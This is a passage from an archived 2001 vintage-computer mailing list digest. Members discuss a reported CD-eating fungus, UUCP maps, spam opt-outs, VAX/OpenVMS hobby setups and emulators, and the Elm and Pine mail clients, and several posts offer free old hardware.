for US$8.00. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rhudson at cnonline.net Tue Jun 19 01:22:17 2001 From: rhudson at cnonline.net (Ron Hudson) Date: Sun Feb 27 19:04:36 2005 Subject: Trade? Message-ID: <3B2EEF99.1080406@cnonline.net> I have Mostly complete Compaq 386 Portable - No memory, One of the keys is busted (Z), but unit starts and gives memory error so screen works. Coulple of missing columns on screen, nothing bad I want The addon card cage for the Compaq 386 Portable that connects to the "Expansion" port on the back and allows the use of regualr ISA PC cards.. Contact rhudson@cnonline.net From terryc at woa.com.au Tue Jun 19 01:13:22 2001 From: terryc at woa.com.au (Terry Collins) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? References: Message-ID: <3B2EED82.619C1255@woa.com.au> Don Maslin wrote: > > Yes, but "leaving nothing behind." NOTHING? Hard to believe. Well, it leaves the fungi! It really depends on what they mean by "nothing". Probably nothing visible to the naked eye. I always keep in mind that a lot of stories could be of the standard of a report from News of The World (make it interesting and damm the truth*), so I will not be investing in an controlled atmosphere safe to store my CD's in yet. OTOH, it could just be one of those bad first batch(es) CD's that the layer's broke down anyway and a fungi has just invaded the space. It all really need independent, scientific verification from someone with a bit of knowledge and experience. *I've lived in Australia for 40 years and never seen a Kangaroo in a sports coat. Yesterday, we safely went koala tracking and never once did the mum and babe hiss, spit, bare the claws or doing anything one might expect of a killer koala. We will be going again as the wife left the film out of the camera {:-). -- Terry Collins {:-)}}} Ph(02) 4627 2186 Fax(02) 4628 7861 email: terryc@woa.com.au www: http://www.woa.com.au WOA Computer Services "People without trees are like fish without clean water" From mikeford at socal.rr.com Tue Jun 19 01:34:55 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: <3B2EA0A7.D4B7E21F@rain.org> References: <002101c0f840$aad93190$e462d6d1@DOMAIN> Message-ID: >then devoured the thin aluminium layer and some of the data-storing >polycarbonate resin. >Dr Cardenes said: "It completely destroys the aluminium. It leaves nothing I know there is something that eats aluminum sliding glass door tracks. From Hans.Franke at mch20.sbs.de Tue Jun 19 02:24:05 2001 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: <3B2EA0A7.D4B7E21F@rain.org> Message-ID: <3B2F1A35.11859.47B5DEDE@localhost> > A friend of mine sent this to me, but I don't know if it is valid or a hoax. Valid - or at least a real good hoax, it involves a lot of people, and did make it into several serious publications... Well, I guess the 'yellow press like' writing (Unprepared genius stumbled over world formula') doesn't add creditability to real news. Gruss H. -- VCF Europa 3.0 am 27./28. April 2002 in Muenchen http://www.vcfe.org/ From alex at linuxhacker.org Tue Jun 19 03:30:07 2001 From: alex at linuxhacker.org (Alex Holden) Date: Sun Feb 27 19:04:36 2005 Subject: Does anyone collect Apollo workstations? In-Reply-To: Message-ID: On Fri, 15 Jun 2001, Will Jennings wrote: > Uh, they were used a lot for mechanical CAD... my dad's company's main I was talking about the specific machines that I shipped to William, sorry. -- ------- Alex Holden ------- http://www.linuxhacker.org/ http://www.robogeeks.org/ From jhellige at earthlink.net Tue Jun 19 04:35:55 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: References: Message-ID: > > I recall those arguments...it was also one of the reasons it >> was said that MO disks were superior to CD-R media. As far as I >> recall, it was said to also get into the disk by going between the >> sandwhich layers and it appeared on an affected disk as black spots. >> Couldn't a fungus attach itself to the adhesive used to bond the >> various layers of a CD-R? If not a fungus, it certainly seems >> reasonable that the aluminum surface could possibly oxidize after a >> while. > >Yes, but "leaving nothing behind." NOTHING? Hard to believe. I've never seen it said that a fungus or whatever did away with the whole aluminum layer of the CD, just that black splotches would appear. Even oxidation would leave something behind. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dhquebbeman at theestopinalgroup.com Tue Jun 19 04:46:33 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:36 2005 Subject: Announcing VUNIC/VUnet Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511B9@jeffserver.tegjeff.com> > > > > I think there's a lot of...going "forward into the past" (tm, Firesign > > > > Theatre). > > > > > > Classic computist *and* firehead... now, how do I send this message, > > > ah, perhaps it's this little chromium switch here > > > > ?UNHAPPY MACNAM I had sampled this from the CD for use as an alert sound on the Mac, but I lost it somewhere along the line... guess it's time to sample again... > Hey, man, you broke the President! (Hey, Pablo? He broke the > President!) This one, too... I do still have "Hello...Welcome to the Future " -dq From dhquebbeman at theestopinalgroup.com Tue Jun 19 05:23:22 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:36 2005 Subject: Announcing VUNIC/VUnet Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511BB@jeffserver.tegjeff.com> > Well, don't listen to Barney, he's just a clone, but > maybe "uh, Clem" has the right idea... Well, with his retirement the other day, there is on less Bozo on the bus... From pechter at bg-tc-ppp75.monmouth.com Tue Jun 19 06:02:27 2001 From: pechter at bg-tc-ppp75.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <200106190306.f5J36Uw21893@shell1.aracnet.com> from "healyzh@aracnet.com" at "Jun 18, 2001 08:06:30 pm" Message-ID: <200106191102.f5JB2RA03386@bg-tc-ppp75.monmouth.com> > > Now I have to see if I have an appropriate CD-Rom drive for it. =) > > A new Plextor drive would work, as would any Sun or SGI Bootable drive. > > Zane I've got a bunch of external Sun and Vax compatible CD drives - in the double speed an single speed ranges -- they're surplus to me since I've picked up faster ones at http://www.hitechcafe.com. I've now got some 16x stuff which cost me about $40 plus a couple for the external case. So... anyone interested can contact me off list. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp75.monmouth.com Tue Jun 19 06:05:42 2001 From: pechter at bg-tc-ppp75.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:36 2005 Subject: Interest in UUCP? In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at "Jun 18, 2001 08:46:46 pm" Message-ID: <200106191105.f5JB5gQ03424@bg-tc-ppp75.monmouth.com> > BTW, they killed the mapping project last year in August or September. > > Anthony Clifton > Des Moines, Iowa > Actually... it was dead for years... The map chances I sent in for the last 5 just didn't get in. It appears most of the regional coordinators were gone. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From bdc at world.std.com Tue Jun 19 07:57:06 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Don Maslin wrote: > On Mon, 18 Jun 2001, Jeff Hellige wrote: > > I recall those arguments...it was also one of the reasons it > > was said that MO disks were superior to CD-R media. As far as I > > recall, it was said to also get into the disk by going between the > > sandwhich layers and it appeared on an affected disk as black spots. > > Couldn't a fungus attach itself to the adhesive used to bond the > > various layers of a CD-R? If not a fungus, it certainly seems > > reasonable that the aluminum surface could possibly oxidize after a > > while. > > Yes, but "leaving nothing behind." NOTHING? Hard to believe. Yeah, imagine if this were to be let loose in the citys and towns of the US. All those homes with aluminum siding, all those soda cans. Why, it has the makings for a good Hollywood disaster film. -brian. From fmc at reanimators.org Tue Jun 19 08:40:03 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:36 2005 Subject: Interest in UUCP? In-Reply-To: Bill Pechter's message of "Tue, 19 Jun 2001 07:05:42 -0400 (EDT)" References: <200106191105.f5JB5gQ03424@bg-tc-ppp75.monmouth.com> Message-ID: <200106191340.f5JDe4i60015@daemonweed.reanimators.org> Bill Pechter wrote (after Anthony Clifton): > > BTW, they killed the mapping project last year in August or September. > > Actually... it was dead for years... The map chances I sent in for the > last 5 just didn't get in. > It appears most of the regional coordinators were gone. So were a lot of the sites. Stan Barber eventually took over for missing regional coordinators and set about contacting sites to find out whether their map entries were still valid. At least he did for California. I know at least one stale entry that no-one had thought to delete when the machine got shut down got removed then (twg-ap). How do you figure out that a map entry has gone stale and can be safely removed? -Frank McConnell From jfoust at threedee.com Tue Jun 19 09:01:17 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:36 2005 Subject: Interest in UUCP? In-Reply-To: <200106191340.f5JDe4i60015@daemonweed.reanimators.org> References: <200106191105.f5JB5gQ03424@bg-tc-ppp75.monmouth.com> Message-ID: <4.3.2.7.0.20010619085822.020c5880@pc> Have you contacted PUPS? http://minnie.tuhs.org/PUPS/index.html I'd think you'd find a great treasure trove of info, experience, as well as fellow old Unix fans who'd join to revive the 'uucp' network. - John From allain at panix.com Tue Jun 19 09:23:36 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:36 2005 Subject: Wave of the Future (Spam) References: <3.0.5.32.20010618112357.007bb270@yellow.ucdavis.edu> <004101c0f86c$6b95a6e0$de2c67cb@stmarks.pp.catholic.edu.au> Message-ID: <006401c0f8cb$6e075e00$21fe54a6@ibm23xhr06> This is a high bandwidth list so I'm not following all threads or am following some at 20% and blah. But anyway: There is an organization called the DMA here in the US where you can submit your snailmail address and this will clear you from the 50%++ of law abiding snailSpammers and i suspect they do eSpam too. The "Opt out" at the bottom of eSpam is strongly encouraged if not law and is also abided by a good many. Also there is a thing called a RBL IIRC or RealTimeBlackHoleLIst where reeel bad eSpammers can be whammied with denial of mail relay and LOTS of other Internet services. P.S. It happened to my prior employer (the whammie) so I know it exists. Why did I ever work there? More women then in straight Engineering (IE more than zero). Any abuse can result in Law -- that's why the abusers Want to self-regulate. Conscientious objector to Spamming. John A. DMA http://www.the-dma.org/cgi/offmailinglistdave RBL http://mail-abuse.org/rbl/ MPS http://www.e-mps.org/en/ind_static.html ??? http://www.madaboutspam.org/ From dhquebbeman at theestopinalgroup.com Tue Jun 19 09:27:44 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511C1@jeffserver.tegjeff.com> > > Yes, but "leaving nothing behind." NOTHING? Hard to believe. > > Yeah, imagine if this were to be let loose in the citys and towns of the > US. All those homes with aluminum siding, all those soda cans. Why, it > has the makings for a good Hollywood disaster film. Your aluminum siding is under a greater threat from the so-called "Irish Travellers" (roaming handymen) than from any fungus. A TV show went through one community somewhere in New Jersey, it almost looked like a tornado had come through and ripped off the siding. -dq From healyzh at aracnet.com Tue Jun 19 09:54:43 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: References: <200106190406.f5J46T023963@shell1.aracnet.com> from "Anthony Clifton - Retrocomputing.com" at Jun 18, 2001 10:43:35 PM Message-ID: >All right! Between the verbal abuse ;-D from you and Dittman =D, >I'm convinced to get an OpenVMS Hobbyist license and run VMS on >the 3100. =-D Great! :^) >I used to do alot of stuff on VMS so having a couple boxes running >it would be fun and interesting. Clustering is fun! >I suppose I could put a static NAT entry in my router and use my >homebrew dns2go setup I have in mind to allow buddies to telnet >in and run things like vaxphone to talk to me in real time. You can probably set it up so if they telnet to port 'x' they're automatically directed to port 23 on the VAX. All depends on your router. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From allain at panix.com Tue Jun 19 10:12:38 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question References: <200106190428.f5J4SJ407572@narnia.int.dittman.net> Message-ID: <011601c0f8d2$47cfdf80$21fe54a6@ibm23xhr06> Eric Dittman spaeketh: > > I have one VAX system (and one Charon-VAX emulator) Just Heard of Charon two days ago ( http://www.process.com/openvms/comments.html ). Anyone been using it heavily? Sounds too good to be true > [warning, topic drift ahead!] > I haven't had to deal with ELN for a couple of years now. Long since forgot about ELN. Remember it from the product lists. What was it, exactly? John A. From dittman at dittman.net Tue Jun 19 10:30:03 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: from "Zane H. Healy" at Jun 19, 2001 07:54:43 AM Message-ID: <200106191530.f5JFU4k09699@narnia.int.dittman.net> > >I suppose I could put a static NAT entry in my router and use my > >homebrew dns2go setup I have in mind to allow buddies to telnet > >in and run things like vaxphone to talk to me in real time. > > You can probably set it up so if they telnet to port 'x' they're > automatically directed to port 23 on the VAX. All depends on your router. My gateway is a Linux box, and I've set up port forwarding in this manner so I can telnet directly to my different systems. -- Eric Dittman dittman@dittman.net From jim at calico.litterbox.com Tue Jun 19 10:40:26 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <011601c0f8d2$47cfdf80$21fe54a6@ibm23xhr06> from "John Allain" at Jun 19, 2001 11:12:38 AM Message-ID: <200106191540.JAA14126@calico.litterbox.com> > Long since forgot about ELN. Remember it from the product > lists. What was it, exactly? > > John A. ELM is a mailer for Unix. It's similar to Pine (in fact, Pine stands for Pine is Not Elm) but without the uncessary (imho) features. It has - or used ot have, I think they may have been split off into a seperate product now - a system to filter mail upon reception, handles multiple mailbox files, does NOT handle mime except to write it out as files (which is all that is really useful to do with them, IMHO) and calls the editor of your choice. I use ELM for the vast majority of my e-mail, the exceptions being at work where I have to use Microsoft Virus Transfer Protocol (outlook) and at home when I get a message with a mime attachment, when I just leave the message in the inbox and suck it down onto my BeOS machine in Postmaster. Elm was written by (if memory serves) Dave Taylor of HP. It could have been an HP product, but HP passed and he released it to the world. The most recent release I'm aware of was to patch the y2k issues ELM had. If you'd like an ELM screenshot, mail me offline and I'll send you one when I get home. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From dhquebbeman at theestopinalgroup.com Tue Jun 19 10:17:31 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:36 2005 Subject: Interest in UUCP? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511C3@jeffserver.tegjeff.com> > > But yeah, a dose of intolerance can be healthy; I always think of > > Peter Finch in "Network": "I'm mad as hell, and I'm not gonna take it > > anymore!" > > The problem is you need a critical mass of that sort of attitude to make > anything happen :( Yeah, contrast Finch running out to the window and shouting and getting everyone shouting *with* him, then compare it to a certain scene from "Coming to America" (Eddie Murphy, Arsenio Hall), where the shouter gets people shouting *at* him... From healyzh at aracnet.com Tue Jun 19 10:43:11 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <011601c0f8d2$47cfdf80$21fe54a6@ibm23xhr06> References: <200106190428.f5J4SJ407572@narnia.int.dittman.net> Message-ID: >Just Heard of Charon two days ago >( http://www.process.com/openvms/comments.html ). >Anyone been using it heavily? Sounds too good to be true >From what I've heard it's pretty good. Unfortunatly the Hobbyist version (which I think is currently unavailable) doesn't support ethernet, so it's pretty much worthless from my point of view, and they want a LOT more than an actual VAX would cost you for a version that does. It's from the same company that's done a commercial PDP-11 emulator for several years. Timothy Stark, the guy that's done the ts10 emulator (first publically available KS10 emulator that was actually able to boot TOPS-10) is working on adding VAX-11/780 support to his emulator. Though he's spending most of his time working on the PDP-10 side of it. IIRC, there is also work underway to add VAX emulation to simh (which now has excellent KS10 emulation). Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From dittman at dittman.net Tue Jun 19 10:51:40 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <011601c0f8d2$47cfdf80$21fe54a6@ibm23xhr06> from "John Allain" at Jun 19, 2001 11:12:38 AM Message-ID: <200106191551.f5JFpem09818@narnia.int.dittman.net> > > I have one VAX system (and one Charon-VAX emulator) > > Just Heard of Charon two days ago > ( http://www.process.com/openvms/comments.html ). > Anyone been using it heavily? Sounds too good to be true I use it on my laptop, but the free hobbyist version is very limited (no ethernet, MVII only, 16MB maximum memory). The VAX emulator I'm looking forward to is Tim Stark's, but right now he's concentrating on his PDP-10 emulator. > > [warning, topic drift ahead!] > > I haven't had to deal with ELN for a couple of years now. > > Long since forgot about ELN. Remember it from the product > lists. What was it, exactly? ELN was a real-time operating system for the VAX. -- Eric Dittman dittman@dittman.net From foo at siconic.com Tue Jun 19 09:58:11 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:36 2005 Subject: Wave of the Future (Spam) In-Reply-To: <006401c0f8cb$6e075e00$21fe54a6@ibm23xhr06> Message-ID: On Tue, 19 Jun 2001, John Allain wrote: > There is an organization called the DMA here in the US where you can > submit your snailmail address and this will clear you from the 50%++ > of law abiding snailSpammers and i suspect they do eSpam too. > DMA http://www.the-dma.org/cgi/offmailinglistdave Yeah, great. You have to pay $5 to register one address online. Otherwise you can mail it in, however "registering by mail may delay inclusion in the 'delete file' up to 30 days". What a crock of shit. Self-regulation my ass. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From rmeenaks at olf.com Tue Jun 19 11:13:32 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:36 2005 Subject: Free for the taking... Message-ID: <3B2F7A2C.2CDFE41F@olf.com> Hi, I got a NCD eXplorer Color X-Windows terminal. It is a 14-inch monitor with a very small base. (4Megs of display memory, 10BaseT, with installation CDs). Anybody want it, otherwise it is ending in the dumpster. This used to be part of my SUN Workstation at home, but I dont need this part anymore... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From spectre at stockholm.ptloma.edu Tue Jun 19 11:31:31 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:36 2005 Subject: Wave of the Future (Spam) In-Reply-To: from Sellam Ismail at "Jun 19, 1 07:58:11 am" Message-ID: <200106191631.JAA10596@stockholm.ptloma.edu> > > There is an organization called the DMA here in the US where you can > > submit your snailmail address and this will clear you from the 50%++ > > of law abiding snailSpammers and i suspect they do eSpam too. > > DMA http://www.the-dma.org/cgi/offmailinglistdave > > Yeah, great. You have to pay $5 to register one address online. > Otherwise you can mail it in, however "registering by mail may delay > inclusion in the 'delete file' up to 30 days". Sounds like extortion to me. "Send us $5 or we'll overload your box quota." -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- FORTUNE: Ten weeks from Friday you won't remember this fortune at all. ----- From george at racsys.rt.rain.com Tue Jun 19 11:26:57 2001 From: george at racsys.rt.rain.com (George Leo Rachor Jr.) Date: Sun Feb 27 19:04:36 2005 Subject: Free for the taking... In-Reply-To: <3B2F7A2C.2CDFE41F@olf.com> Message-ID: Georgraphic location please? ========================================================= George L. Rachor Jr. george@rachors.com Hillsboro, Oregon http://rachors.com United States of America Amateur Radio : KD7DCX On Tue, 19 Jun 2001, Ram Meenakshisundaram wrote: > Hi, > > I got a NCD eXplorer Color X-Windows terminal. It is a 14-inch monitor > with a very small base. > (4Megs of display memory, 10BaseT, with installation CDs). Anybody want > it, otherwise it is ending > in the dumpster. This used to be part of my SUN Workstation at home, > but I dont need this part anymore... > > Ram > > -- > > ,,,, > /'^'\ > ( o o ) > -oOOO--(_)--OOOo------------------------------------- > | Ram Meenakshisundaram | > | Senior Software Engineer | > | OpenLink Financial Inc | > | .oooO Phone: (516) 227-6600 x267 | > | ( ) Oooo. Email: rmeenaks@olf.com | > ---\ (----( )-------------------------------------- > \_) ) / > (_/ > > > > From allain at panix.com Tue Jun 19 11:35:32 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:36 2005 Subject: Wave of the Future (Spam) References: Message-ID: <014c01c0f8dd$dc3fbf40$21fe54a6@ibm23xhr06> > Self-regulation my ass. In the case of Marketing, it may Seem like a moronic thing is being used as a cover-up for a predatory practice... all I can say is SOMEtimes with Mktg what you really got there are morons* In this case charging for the online access is truly a moaner. They just need the 30 days for processing. John A. *and I've seen it. My poor eyes. From bdc at world.std.com Tue Jun 19 11:51:29 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:36 2005 Subject: Elm, Outlook, and Pine [Was Re: Today's Exciting Acquisition & Microvax 3100 Question] In-Reply-To: <200106191540.JAA14126@calico.litterbox.com> Message-ID: On Tue, 19 Jun 2001, Jim Strickland wrote: > my e-mail, the exceptions being at work where I have to use Microsoft > Virus Transfer Protocol (outlook) and at home when I get a message > with a mime attachment, when I just leave the message in the inbox and > suck it down onto my BeOS machine in Postmaster. Ah-ha... See, that's where you're mistaken. If you were a Pine user then you'd know that recent version of Pine will interface just fine with Microsoft's Exchange server. This is how I survive in environments which favor MS mail products. Most Exchange servers are setup to allow IMAP access. You can configure your pine client to access any number of IMAP server inboxes. You can also see your Outlook calendar appointments and point to the Exchange server as an LDAP directory server in order to access the global address lists. A nice side-effect of using IMAP is that you can save your messages in IMAP folders. This gives you access to a central repository of folders from anywhere on the network. Secure connections are supported if Pine is compiled to use OpenSSL tools. And then there's the obvious benefit of not having to worry about virii when running a non-Outlook client. -brian. From spectre at stockholm.ptloma.edu Tue Jun 19 12:04:39 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <200106191540.JAA14126@calico.litterbox.com> from Jim Strickland at "Jun 19, 1 09:40:26 am" Message-ID: <200106191704.KAA12202@stockholm.ptloma.edu> > ELM is a mailer for Unix. It's similar to Pine (in fact, > Pine stands for Pine is Not Elm) but without the uncessary > (imho) features. It has - or used ot have, I think they > may have been split off into a seperate product now - > a system to filter mail upon reception, handles multiple > mailbox files, does NOT handle mime except to write it out > as files (which is all that is really useful to do with them, IMHO) Well, it can do a bit more than that depending on how you hack/configure it. For those who've never played with it, it also understands multipart/ alternative which is handy (the built-in MIME support is much, much better than uglinesses like metamail). The version I have has trouble with charsets, though (like Windows-1252) -- has this been fixed in later versions? It won't do replies with them, for example. > Elm was written by (if memory serves) Dave Taylor of HP. It could have > been an HP product, but HP passed and he released it to the world. And we're all much better off :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Burglar alarms: For the man who has everything! ---------------------------- From jott at mastif.ee.nd.edu Tue Jun 19 12:01:50 2001 From: jott at mastif.ee.nd.edu (John Ott) Date: Sun Feb 27 19:04:36 2005 Subject: Have some bits for the cost of shipping- In-Reply-To: ; from glinder@ews.uiuc.edu on Mon, Jun 18, 2001 at 09:32:02PM -0500 References: Message-ID: <20010619120150.F12895@mastif> Hello - I'm interested in your 3B1. Does this have the 68010 cpu? Can you estimate how much this weighs? I live in the South Bend, IN area and want to check on shipping costs. John On Mon, Jun 18, 2001 at 09:32:02PM -0500, Greg Linder wrote: > I dug some fun bits out of a local surplus place, and want to know > if anyone here wants these- I saved them only to put up here, because I > would rather they float out to the Classicmp world than get chopped to > pieces. > > * AT&T Unix PC/ 3B1- I have one of these at my house, with a lot > of cards and docs and stuff. I saved this one out of a dumpster. It boots > up okay, is really pretty clean, although the keyboard is kind of > dirty. Has all its keys, drive sounds good, fans spin, pretty nice shape > all in all. > * Zenith SuperSport 286 laptop- I grabbed this mainly because it > had the battery pack with it, and the one I got seems to hold a charge- I > charged it up last week, and it still goes now. Something like a 20 meg > disk and 640k ram. I have a suitably vintage 386 I use mainly for Telix to > work on my headless VAXes when the network goes down, and don't need this > one- Has power supply, battery, and a typing tutor on the HD, just in > case you need to brush up.. > * Slightly newer than 10 years- An IBM POWERServer 340H. About > the size of a PC-XT case. Not a big rolly one. This one is pretty full of > memory, boots up allright, except it seems some of its happy bits were NFS > mounted- It comes to a login prompt, but as usual I have no password. I > really would like to keep this machine, but I don't see myself having time > to work on it any time in the near future. According to the brief research > I did, none of the free Unices support this yet- You'll have to use AIX. > > If you are interested in any of the items above, feel free to give > me an email- It's yours for the cost of shipping, or pickup around Chicago > or central illinois area. > > Thanks! > > Greg Linder > glinder@uiuc.edu > > -- ************************************************************************ * * * * John Ott * Email: jott@hamming.ee.nd.edu * * Dept. Electrical Engineering * * * 275 Fitzpatrick Hall * * * University of Notre Dame * Phone: (219) 631-7752 * * Notre Dame, IN 46556 USA * Fax: (219) 631-9924 * * * * ************************************************************************ From LFessen106 at aol.com Tue Jun 19 12:23:15 2001 From: LFessen106 at aol.com (LFessen106@aol.com) Date: Sun Feb 27 19:04:36 2005 Subject: Free for the taking... Message-ID: In a message dated 6/19/01 12:19:47 PM Eastern Daylight Time, rmeenaks@olf.com writes: > Hi, > > I got a NCD eXplorer Color X-Windows terminal. It is a 14-inch monitor > with a very small base. > (4Megs of display memory, 10BaseT, with installation CDs). Anybody want > it, otherwise it is ending > in the dumpster. This used to be part of my SUN Workstation at home, > but I dont need this part anymore... > > Ram > > -- Would love this depending on where you are located! -Linc Fessenden In The Beginning there was nothing, which exploded - Yeah right... Calculating in binary code is as easy as 01,10,11. From jim at calico.litterbox.com Tue Jun 19 12:43:46 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:36 2005 Subject: Elm, Outlook, and Pine [Was Re: Today's Exciting Acquisition & In-Reply-To: from "Brian Chase" at Jun 19, 2001 11:51:29 AM Message-ID: <200106191743.LAA14562@calico.litterbox.com> > Ah-ha... See, that's where you're mistaken. If you were a Pine user then > you'd know that recent version of Pine will interface just fine with > Microsoft's Exchange server. This is how I survive in environments which > favor MS mail products. > > Most Exchange servers are setup to allow IMAP access. You can configure > your pine client to access any number of IMAP server inboxes. You can > also see your Outlook calendar appointments and point to the Exchange > server as an LDAP directory server in order to access the global address > lists. Okay, that's cool. :) -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From vance at ikickass.org Tue Jun 19 12:45:57 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:36 2005 Subject: Have some bits for the cost of shipping- In-Reply-To: <20010619120150.F12895@mastif> Message-ID: Do you still have the POWERstation? I want it. Peace... Sridhar > On Mon, Jun 18, 2001 at 09:32:02PM -0500, Greg Linder wrote: > > I dug some fun bits out of a local surplus place, and want to know > > if anyone here wants these- I saved them only to put up here, because I > > would rather they float out to the Classicmp world than get chopped to > > pieces. > > > > * AT&T Unix PC/ 3B1- I have one of these at my house, with a lot > > of cards and docs and stuff. I saved this one out of a dumpster. It boots > > up okay, is really pretty clean, although the keyboard is kind of > > dirty. Has all its keys, drive sounds good, fans spin, pretty nice shape > > all in all. > > * Zenith SuperSport 286 laptop- I grabbed this mainly because it > > had the battery pack with it, and the one I got seems to hold a charge- I > > charged it up last week, and it still goes now. Something like a 20 meg > > disk and 640k ram. I have a suitably vintage 386 I use mainly for Telix to > > work on my headless VAXes when the network goes down, and don't need this > > one- Has power supply, battery, and a typing tutor on the HD, just in > > case you need to brush up.. > > * Slightly newer than 10 years- An IBM POWERServer 340H. About > > the size of a PC-XT case. Not a big rolly one. This one is pretty full of > > memory, boots up allright, except it seems some of its happy bits were NFS > > mounted- It comes to a login prompt, but as usual I have no password. I > > really would like to keep this machine, but I don't see myself having time > > to work on it any time in the near future. According to the brief research > > I did, none of the free Unices support this yet- You'll have to use AIX. > > > > If you are interested in any of the items above, feel free to give > > me an email- It's yours for the cost of shipping, or pickup around Chicago > > or central illinois area. > > > > Thanks! > > > > Greg Linder > > glinder@uiuc.edu > > > > From rmeenaks at olf.com Tue Jun 19 12:47:24 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:36 2005 Subject: Free for the taking... References: <3B2F7A2C.2CDFE41F@olf.com> Message-ID: <3B2F902B.507D9679@olf.com> Ram Meenakshisundaram wrote: > Hi, > > I got a NCD eXplorer Color X-Windows terminal. It is a 14-inch monitor > with a very small base. > (4Megs of display memory, 10BaseT, with installation CDs). Anybody want > it, otherwise it is ending > in the dumpster. This used to be part of my SUN Workstation at home, > but I dont need this part anymore... > Sorry about that. I am located in Union Dale, Nassau, Long Island, NY. I already got some takers, so whoever emailed me about the location and is either willing to pick up or want to ship it, let me know.... Ram -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram 